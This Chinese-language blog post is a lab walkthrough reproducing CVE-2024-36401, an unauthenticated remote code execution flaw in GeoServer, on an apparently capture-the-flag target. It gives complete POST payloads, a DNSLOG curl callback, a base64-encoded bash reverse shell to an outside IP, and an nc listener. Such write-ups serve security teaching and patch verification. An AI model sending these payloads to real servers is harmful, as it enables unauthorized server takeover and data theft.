【漏洞复现】GeoServer - 远程代码执行

tmx8911
5
2025-06-19

【一】漏洞介绍:

漏洞编号:CVE-2024-36401
影响组件:GeoServer(Java 编写的开源 GIS 服务器)
影响版本

  • 2.24.0 ~ 2.24.3
  • 2.25.0 ~ 2.25.1
    公开时间:2024年7月2日
    漏洞等级:高危(Critical)

漏洞描述
GeoServer 存在远程代码执行(RCE)漏洞,攻击者可在无需认证的前提下,通过构造特殊的 HTTP 请求,在服务器上执行任意系统命令。该漏洞源于 GeoServer 对用户提供的部分输入未正确过滤,导致可注入恶意表达式或代码片段。

【二】漏洞利用条件

漏洞的利用通常需满足以下条件:

  1. 使用受影响版本的 GeoServer

    • 2.24.0 ~ 2.24.3
    • 2.25.0 ~ 2.25.1
  2. 暴露管理或相关接口至公网

  3. 未开启安全加固措施(如请求过滤、身份验证、输入校验等)

  4. 攻击者构造特定 Payload 触发服务端的漏洞点(如某些插件/接口处理脚本时的执行漏洞)

【三】漏洞危害

  • 远程代码执行(RCE)
    攻击者可直接执行任意系统命令,如反弹 shell、下载恶意软件等。
  • 服务器被完全控制
    可读取文件、写入 WebShell、安装木马,危害极大。
  • 信息泄露
    攻击者可访问数据库、GIS 数据信息、系统配置等敏感资源。
  • 横向移动
    可作为跳板攻击内网其他主机或控制更多系统。
  • 影响广泛
    GeoServer 广泛用于政府、企业 GIS 系统,若未及时修复,极易被利用。

【四】漏洞复现:

打开靶场首页,访问URL:URL/geoserver,例如:http://node.hackhub.get-shell.com:45191/geoserver/, 访问geoserver系统首页

打开DNSLOG(dnslog.cn)平台,生成一个临时域名后续实验使用。
xi0ejl.dnslog.cn


利用下面的POC数据包,使用BurpSuite或者Yakit这类软件进行数据包重放,记得替换Host为自己目标 ,然后查看数据包中的字段:valueReference='exec(java.lang.Runtime.getRuntime(),"curl xi0ejl.dnslog.cn")'> 其中curl xi0ejl.dnslog.cn就是执行的命令,将里面的域名替换为自己的DNSLOG域名,然后发包后查看DNSLOG平台的回显。

POST数据包为:

POST /geoserver/wfs HTTP/1.1
Host: node.hackhub.get-shell.com:45191
Accept: */*
Accept-Language: en-US,en;q=0.5
Content-Length: 326
<wfs:GetPropertyValue service='WFS' version='2.0.0'
xmlns:topp='http://www.openplans.org/topp'
xmlns:fes='http://www.opengis.net/fes/2.0'
xmlns:wfs='http://www.opengis.net/wfs/2.0'
valueReference='exec(java.lang.Runtime.getRuntime(),"curl xi0ejl.dnslog.cn")'>
<wfs:Query typeNames='topp:states'/>
</wfs:GetPropertyValue>

点击发送请求

回到DNSLOG平台

刷新记录发现多了一条解析记录,证明此漏洞存在

通过DNSLOG平台可以看到回显,说明此处可以命令执行。但是JAVA的EXEC执行命令会有些困难,不可以直接输入反弹Shell命令,我们精心构造一下Payload:

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvMTIzNDUgMD4mMQ==}|{base64,-d}|{bash,-i}

这是一串shell命令,需要我们将YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvMTIzNDUgMD4mMQ== 进行base64解码:bash -i >& /dev/tcp/127.0.0.1/12345 0>&1,然后将里面的127.0.0.1替换为接收反弹Shell机器的公网IP,例如改为:bash -i >& /dev/tcp/公网IP/12345 0>&1,然后base64编码一下:YmFzaCAtaSA+JiAvZGV2L3RjcC8xNC4xMDMuMTc1LjE5My8xMjM0NSAwPiYx,最终执行命令的Payload为:

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNC4xMDMuMTc1LjE5My8xMjM0NSAwPiYx}|{base64,-d}|{bash,-i}

完整的POST请求数据包为:

POST /geoserver/wfs HTTP/1.1
Host: node.hackhub.get-shell.com:45191
Accept: */*
Accept-Language: en-US,en;q=0.5
Content-Length: 326

<wfs:GetPropertyValue service='WFS' version='2.0.0'
xmlns:topp='http://www.openplans.org/topp'
xmlns:fes='http://www.opengis.net/fes/2.0'
xmlns:wfs='http://www.opengis.net/wfs/2.0'
valueReference='exec(java.lang.Runtime.getRuntime(),"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNC4xMDMuMTc1LjE5My8xMjM0NSAwPiYx}|{base64,-d}|{bash,-i}")'>
<wfs:Query typeNames='topp:states'/>
</wfs:GetPropertyValue>

接着在公网服务器上开启NC监听:

nc -lvp 12345

点击发送请求

公网服务器反弹shell成功

结果靶标服务器,执行任意命令:

得到flag:
GetShell{73873F80-C718-2849-D76B-EF57D2739DBB}

动物装饰